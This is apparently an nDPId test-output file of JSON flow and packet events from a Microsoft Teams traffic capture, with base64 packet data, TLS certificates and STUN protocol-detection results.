+00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2493,"source":"teams.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1587041693582,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.123","src_port":50021,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":69,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2493,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":582610,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGShzAqAEGNHL6e8NlAbtcWVYoAAAAALAC\/\/\/E5AAAAgQFtAEDAwUBAQgKMITZVQAAAAAEAgAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2494,"source":"teams.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1587041693597,"flow_last_seen":0,"flow_tot_l4_data_len":222,"flow_min_l4_data_len":222,"flow_max_l4_data_len":222,"flow_avg_l4_data_len":222,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.141","src_port":50016,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00687{"flow_id":70,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2494,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":597783,"pkt_caplen":256,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":256,"pkt_l4_len":222,"pkt":"EBMx8Tl2KDc3AG3ICABFAADyLLYAAEARXJfAqAEGNHL6jcNgDZYA3iTJAAMAwiESpEIiL+\/H85JL0bmXJ+QADwAEcsZLxoA3AAQAAAACgAgABAAAAAaABgAEAAAAAQAQAAQAAC7ggFUABAACAAKAlQAIfyDE3U+EjfoAFAAUAk7L+IJ6YNZTBt6\/p32H0UQC3V0AFQAKInJ0Y21lZGlhIgAGADgCAAAkkKDb2wHWGU3iFTe\/yZKgAzJzGvG+3Faa6DvVqwAAAAC\/cbJ2yXgTqN3v61y8eTonekzmPAAIACB+ROZSH0cQpVQPYpCmfWn5X6jy8HHHqFihd3XDn9tzDQ=="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2494,"source":"teams.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1587041693597,"flow_last_seen":0,"flow_tot_l4_data_len":222,"flow_min_l4_data_len":222,"flow_max_l4_data_len":222,"flow_avg_l4_data_len":222,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.141","src_port":50016,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.Teams","breed":"Safe","category":"VoIP"}} +02367{"flow_id":66,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2495,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":608822,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUnZVAAGwGevI0cvp7wKgBBgG7w2KOQOnM8MQyAVAQCARhxAAANjIwWjCBmzCBmDBMMAkGBSsOAwIaBQAEFCmF\/GE9vi+wEg9eQg5MnsPVnv18BBQI\/iWfdOqHBMK8u46oOF8zxtFsZQITLQAGXpgoyD\/NFydgrgAAAAZemIAAGA8yMDIwMDQxNTE5MDYyMFqgERgPMjAyMDA0MTkxOTA2MjBaoSIwIDAeBgkrBgEFBQcwAQYEERgPMjAxOTA0MTYxOTA2MjBaMA0GCSqGSIb3DQEBCwUAA4IBAQAaQYaDpwd6DNwyOUeit6mUOBXgoV06pe6ThWCURamS0COPur719YO54pzaWQ\/wQiNdRfJ+6IxdL624Y9ECjW7h0i3GVY5McK\/JE0+t8QKiDyIrzja2mdM3dr87glc0ghsX25i5Wq+uovmAq2y0kIR5ZDxPkSCewMHChNQBpgB6w7ldXqSVgO6mMxOPGIUJeCKP7XKb6HxICQ+KDOclyTMlRvOfgXDsfJ+qgS\/\/Xx69gdsXVVKuxxVgmTXKPjwc6+0PAhk7AM38T+1uvkyY+cnLoNXnWfuXwei6nw4U+wy7NBkdjTNfderi681shWsjrz7QTveMgXHXa8hDzke10XqeoIIFIzCCBR8wggUbMIIDA6ADAgECAhNuABXTTwZmllgRJK\/RAAAAFdNPMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTAeFw0yMDA0MDIxNjU4MDlaFw0yMTA0MDIxNjU4MDlaMCsxKTAnBgNVBAMMIE1pY3Jvc29mdF9JVF9UTFNfQ0FfNV9LZXlCaW5kaW5nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt72xRWYGvzznDDT8NXYL9rp9+Ya3b0Z6P2wS3akQ58NdGCNNqh5bkYWl59MsBDUHv9Ef+w2CazdUk3Nynho4E8vpdECh67pX0G62DZBOiFmluBNKbuC5wy0qFpuDZifuCaL\/JIioH+qZxw1n9T+IlPYbhUIt9LEWbIcz3NKvVAjL22uCbIe4fgQeiRQY6CQMOOiKJvbVG0ji+rtc86+Mxhhl4WT\/oA0rEF\/rkByMk2VOShPm7OYdkPB4JadSsYxElQdJQqZtZ7Dx1QoI7ppuYvpwizs9bk5\/qpPbZOX2ffENmbYPX8IEIoHImvw+d5OCujhcH8ND8y2D3AEt3YOySwIDAQABo4HWMIHTMB0GA1UdDgQWBBQodwHOZZ6LuFUo+CvPI9\/FvHYaTDAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDwYJKwYBBQUHMAEFBAIFADAfBgNVHSMEGDAWgBQI\/iWfdOqHBMK8u46oOF8zxtFsZTA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdgcybR4HI6RYCAWQCAQcwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEFBQcDCTANBgkqhkiG9w0BAQsFAAOCAgEAZeWmp3UPfRLZIyUkIOP3qzADvvJHesY63Dc2ynSZnVwywgjceFf+k+yQAXU4qttDwcVbl8RAxZ3TRxOK\/tx9uYmaavtEm3swh9h5B7DCvmIXfqsJJlRpK\/OFGfcf49BNBZXJky59f8YfJ49hsiJiWchclECz2p04IejlY2rjzCMngCMT2bpAzYBsJXomAbKsVRl07LYT4CLhdIIHrd+syTeudyjkMfJb34y+qxxeDCvdd+fLKHcrxUao3ZXsd7wz3mk1EWQVaTo+Md3\/ECUv"} +00424{"flow_id":66,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2496,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":608925,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGSijAqAEGNHL6e8NiAbvwxDIBjkDaLIAQIAAjCQAAAQEFCo5A6cyOQO94"} +02359{"flow_id":66,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2497,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":608986,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUnZFAAGwGevY0cvp7wKgBBgG7w2KOQNos8MQyAVAQCASF5gAAFgMDF+kCAABVAwNemFWdsj2BaVsDh5E5y8r1X3UjjxOVlMfMQIu1roLiOiDgQAAALn9hMRlUjUOvDW8rXXboUZyNr1rD5AfhgK2308AwAAANAAUAAAAXAAD\/AQABAAsADuwADukACSswggknMIIHD6ADAgECAhMtAAZemCjIP80XJ2CuAAAABl6YMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTAeFw0xOTA1MjQxNDEwMjZaFw0yMTA1MjQxNDEwMjZaMCExHzAdBgNVBAMTFnRyLnRlYW1zLm1pY3Jvc29mdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCLTNHPfgLoOgUfyR4c2CDg+CoBg7bwaQp6OOdTLjN80e6165bdZW8ryNWADQBv\/\/6Ld1H5eQQNetSDwVifHVU+CteBiHg6T9F1rA96B1Fk1nARcGhMPsZbgvGxJ+NR6ygkRK7GWC6KFZyOiZ0MvWyxQTJBlsBwklHTiX9D0fiSz06Q+tVkIHpWWHGkJRO+Tm3UUtCMr7e1K4eQloaVRg1AeMGEhZEaGXyKum9VwAP15maK0zwKMiUymx8uWFHW4J0+7wZd9kZyUeJvDO2QDZvxPl5w9NBzvGZUQFIkRD+XvUanlt9AtvhnDy5BiPzueeQgaJbyvyJl4Af8nIo8gppfAgMBAAGjggTrMIIE5zCCAfUGCisGAQQB1nkCBAIEggHlBIIB4QHfAHYA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAFq6jb0ngAABAMARzBFAiEA+SbPYnNZBq5NAa+KJuZcLJF6Cs7c51vg2wno92Y73cQCIFui0LePG9Yu0H+TqmpdeWJeVlJ0KiyWWMKI6D92L\/K3AHUAVYHUwhaQNgFK6gubVzxT8MDkOHhwJQgXL6OqHQcT0wwAAAFq6jb1LQAABAMARjBEAiAZDnc3oPi8LaNBy6Df89WOlPch018jWvYNKaDO2U51nQIgYZuZffTHCtDDZ3lWVJgiVsjUCTGqki0p6MIBuSQoIfUAdwBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAWrqNvNaAAAEAwBIMEYCIQChq4nHPM4twtbxyAgrDLE3a797eV+6L2EiO6pBrFmrUAIhANBHWXnY9HAcs6WqVRp9r8q8wlaSY9pBfB7vJlbCShQPAHUARJRlLrDuzq\/EQAfYqP4owNrmgr7YyzG1P9MzlrW2gagAAAFq6jb0QQAABAMARjBEAiAzKKpy8ELEm5AO\/Cl8weRDML0CJ7IOPZ2GbRbx\/8vxWgIgDCW1c1pNKCE9DA2mbQwKGa4Z2H7dNtIRrzU4ZJcZOr8wJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBSC313bBDWiwUMAeq0EgFmCSqbJVzALBgNVHQ8EBAMC"} +01145{"flow_id":66,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2498,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":608999,"pkt_caplen":602,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":602,"pkt_l4_len":568,"pkt":"KDc3AG3IEBMx8Tl2CABFAAJMnZJAAGwGfn00cvp7wKgBBgG7w2KOQN\/Y8MQyAVAYCAT2ggAABLAwgZAGA1UdEQSBiDCBhYIWdHIudGVhbXMubWljcm9zb2Z0LmNvbYIYKi50ci50ZWFtcy5taWNyb3NvZnQuY29tghh0dXJuLnRlYW1zLm1pY3Jvc29mdC5jb22CGioudHVybi50ZWFtcy5taWNyb3NvZnQuY29tghsqLnJlbGF5LnRlYW1zLm1pY3Jvc29mdC5jb20wgawGA1UdHwSBpDCBoTCBnqCBm6CBmIZLaHR0cDovL21zY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3JshklodHRwOi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3JsME0GA1UdIARGMEQwQgYJKwYBBAGCNyoBMDUwMwYIKwYBBQUHAgEWJ2h0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NwczAfBgNVHSMEGDAWgBQI\/iWfdOqHBMK8u46oOF8zxtFsZTAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDQYJKoZIhvcNAQELBQADggIBABCcisiO+DAS4OPnUkT5drdGW+ySCAd1BsW3Lp1Fdet9nBRcfBcsaKZ66uJsRxluxJrhagjZ4fh8tXKFj90="} +00424{"flow_id":66,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2499,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":609049,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGSijAqAEGNHL6e8NiAbvwxDIBjkDf2IAQH9IdiwAAAQEFCo5A6cyOQO94"} +00426{"flow_id":66,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2500,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":609051,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGSijAqAEGNHL6e8NiAbvwxDIBjkDh\/IAQH8EbeAAAAQEFCo5A6cyOQO94"} +02371{"flow_id":66,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2501,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":609106,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUnZNAAGwGevQ0cvp7wKgBBgG7w2KOQOH88MQyAVAQCATkPAAAW6sdwoMA3bRkqxv5VpjyajDfFXWqL4G9QZfl841dfR9SjQLMnRDtMHjHLLEHhJCKLU2ikazGCdNZMqtfaxeWquCIWw56s0bCKwmin9Y3DIsAdEejps5dwVGPEJfdlpEbIxcuBzCIRY0C23wA8SsmAke7nyJfwnrDoCjE4H7m3XXod08er9hfv0q4nITSnedP3o61Oc42o6ZTtprTcb83jeNHnfqPTx\/r7JoPcNdqLrU2S9F5B\/3\/72kY0IJW8GVz3JfVywG\/oGQZf4DtR+N9iCPyVunnsxwatk5VQeVSeoKWofbhmm5\/59\/eJyGGKNh6xcOod+zQ\/yRc87f6tHNG2YoyFngY2b4iSL5cKDGkUG4HW8AD3tnSSMB+eS+kUxAHQWzl9sk8GGj5SN\/h6yZsZx0M8Cajppy8O10hsA4MnuDtB3uK64JLD12Do4vw3+8vrlcfGCUgqrNGgRVPtSVulxGnCvWOq0JhUVItmI195Is0h3MiJgXc2KNuZpMfbIcuyiiUJx2zdkFT81nL1PidcMdiaFVUoMih7rr4UtgVbmkgKemK\/Z7z3no4iLWFOB0NszihbN+mXEPfve7ERdipQf9N4gAFuDCCBbQwggScoAMCAQICEAiIzVJfGSRETRSlgpHeuVIwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVyVHJ1c3QgUm9vdDAeFw0xNjA1MjAxMjUzMDNaFw0yNDA1MjAxMjUzMDNaMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJrfgVw7j67peZa5mnmngfI52lUoRiMCxYJmB7YV3v2cOhqbkQnSZo8LiRf4cYchfzjTP5olALc10Kv4CHo281Bb3yspJ96k3SSS+vTGcI02KprwgN41+h5CnQmBqtUHChalxVpCbUK+HkKCtFcwmVtFK9SP0woGxnOTpOGD78W\/BSeneM2zC+CeIhbzmNymFOjMlNcj+dBQmbu1CxCV8d8C6Y+OnVaZPNiP01j7XJJ+PXv4UEla9xB7d\/jmSpBKVVLelK10CaBkVyzNB5CfFq2Vw9EGuvHvbAW1BKyp3Bsxmw4tGZUET95my601cq8ZggiyFDoWX7A8m9uNDLAC1iYf6BVxxO\/5YzlDjOnCki6hwqAwJQ6WJ1+eoyuC1hC9PBkepof+VSE6XEH8AZjML5L\/Zji0uGacDxJoS0qshrtemP+eppxTbDMRpNCuUkfXi4\/xlqy5KZqPLPGtZBjDJrsAZN5QcMC77MZrrtOg78DxXA3yzHpZ2hgzL1kQrWcULF8iQ0pE4ejd4OdVFk4J7wNMDEhQWvAD347vY8pbZ4dDQCwGth8PPlPAZj\/XFBXmCGKYSH6D5ae1XVEtVC1h\/TRd1LeAzdJ9zrEkO\/OXbGwT3ooXyYr1SJVC9xKQ4xAX9qEAxTYqZZGeBexCLlq4mRv\/1E61+mZV2YOOvwgpjfoLAgMBAAGjggFCMIIBPjAdBgNVHQ4EFgQUCP4ln3TqhwTCvLuOqDhfM8bRbGUwHwYDVR0jBBgwFoAU5Z1ZMIJHWMys+ghUNoZ7OrUETfAwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwJwYDVR0lBCAwHgYIKwYBBQUHAwEGCCsGAQUF"} +01152{"flow_id":66,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2502,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":609123,"pkt_caplen":602,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":602,"pkt_l4_len":568,"pkt":"KDc3AG3IEBMx8Tl2CABFAAJMnZRAAGwGfns0cvp7wKgBBgG7w2KOQOeo8MQyAVAYCAT6XAAABwMCBggrBgEFBQcDCTA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vT21uaXJvb3QyMDI1LmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzANBgkqhkiG9w0BAQsFAAOCAQEAPvLPMKV6vx5q3zlYGCg8w53u54HFS\/xn9r8fTjfa3vCv7or5A3tgZ3THO9r\/K0rr\/VR1E4vlwoESulISILopijrNQyTM1RcF\/pwWP3PgbUHAdj3yq0jFWWJkukRPChiCP0HqPxg6WOegMFd19dFqMRS2lJll2rboAd7kq\/u18+UZChhfpAJX3rZcJm9z\/i4J9QhDxA\/HJH+dKGdlodxb8Dr9+HCF56VPJN5CPx1EO12FBoUdHhzU2U5R5P0eERbMngDZlxqX42XHhjUbU3a+MtEsQUlLoz6TDFt3VwcwPDWLjNFpoif6VeirnRAe0RffumyJ08lb1wuUiKnYtJXXjhYABysBAAcnMIIHIwoBAKCCBxwwggcYBgkrBgEFBQcwAQEEggcJMIIHBTCBx6IWBBQodwHOZZ6LuFUo+CvPI9\/FvHYaTBgPMjAyMDA0MTUxOTA="} +00425{"flow_id":66,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2503,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":609155,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGSijAqAEGNHL6e8NiAbvwxDIBjkDnqIAQH5QV+QAAAQEFCo5A6cyOQO94"} +00409{"flow_id":66,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2504,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":609158,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGSjTAqAEGNHL6e8NiAbvwxDIBjkDveFAQH1U6RgAA"} +01148{"flow_id":66,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2505,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":609230,"pkt_caplen":602,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":602,"pkt_l4_len":568,"pkt":"KDc3AG3IEBMx8Tl2CABFAAJMnZZAAGwGfnk0cvp7wKgBBgG7w2KOQO948MQyAVAYCAQXbQAAEO5WjXjIe6ycKomslpwe+EFt6Mjgit5TOxZ3H33HANI4vT53PRNoyKZhkE4S9iFCZzfCTWensJkZpnlLMABE4aqNQAX6ZU\/zapbAGS9LPTaiKv9Ry1gMKarsrTbdnF5winwAmVhwqa89tPKzbfBk4V04yBPdDJ2DjFTLanTQ3ELGqhKqqmcvrsuHghO2d9ak1HP13ExxC0+i4+GrhqIUwyWxdjniUJlyleN+iiIaKEg6jvrVHFWrR3PUtDbo8TEacEyF96c8xXcjPVnUVrhVI++2dvqyNpMZ8ACJADw9JEE8gToopzGHlqjm36adlbvaZA10Gxs+B\/nQx7a7NeW17x1RViO2RGJOk4lHSYkzJLzAXxFd+J6icgx2JzFBiVk7job1q60ezkEMDfaRdnPXFQ8MAAFpAwAYYQTcFelLA9oFcMXaZ1+o4whLp\/a59umnbq2FWq3OKBO8zamaxT2FyU19rYZ0ZilAUrKQf46lDK+8Hxp0k3fgqsnaxCN0dCohw\/JNH9hjSMMszCDsvH6g7UTzxGxVCtADiowEAQEACew2uQQDAc0TMzu4GCnlS5Qzgmai2FDlIr6yuHqj75k4WxQ8qA6CvskecRbf1DI9baDBITgISolwC9cfOnzbJSFP+LKDved8MDt+3jHN4TLLYVmpkkTYoA1qlWzMDaUvs17YThv1FNMmlaagZcuSaMDHizlaM3P7XnJYM0O9ky+rQRcXOKg="} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2510,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":611228,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2510,"source":"teams.pcap","alias":"nDPId-test","type":38} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2511,"source":"teams.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1587041693611,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.141","src_port":50017,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_id":71,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2511,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":611913,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"EBMx8Tl2KDc3AG3ICABFAABgfyMAAEARCrzAqAEGNHL6jcNhDZYATBjuAAMAMCESpELalY8VcoE3uJ+0vVMADwAEcsZLxoA3AAQAAAACgAgABAAAAAaABgAEAAAAAQAQAAQAAC7ggFUABAACAAI="} +00504{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2511,"source":"teams.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1587041693611,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.141","src_port":50017,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.Teams","breed":"Safe","category":"VoIP"}} +00648{"flow_id":68,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2515,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":625394,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"KDc3AG3IEBMx8Tl2CABFAADXVxUAAGwRBmU0cvp7wKgBBg2Ww3QAwyhaARMApyESpEI9x0RmdejywONbcT4ADwAEcsZLxoAIAAQAAAAGAAkAPQAABAFUaGUgcmVxdWVzdCBkaWQgbm90IGNvbnRhaW4gYSBNZXNzYWdlLUludGVncml0eSBhdHRyaWJ1dGUADgAIAAENljRy+okAFAAUPK7\/QeTw1Z9oICgNLxST+LDzEgAAFQAKInJ0Y21lZGlhIgABAAgAAQ2YNHL6iYCVAAhb5VsGDC2J+oAgAAgAAc5scadqCg=="} +00427{"flow_id":69,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2516,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":628354,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0Nx9AAGwG5wg0cvp7wKgBBgG7w2XeqFvwXFlWKYAS\/\/\/MOwAAAgQFoAEDAwgBAQQC"} +00408{"flow_id":69,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2517,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":628427,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGSjTAqAEGNHL6e8NlAbtcWVYp3qhb8VAQIADs+gAA"} 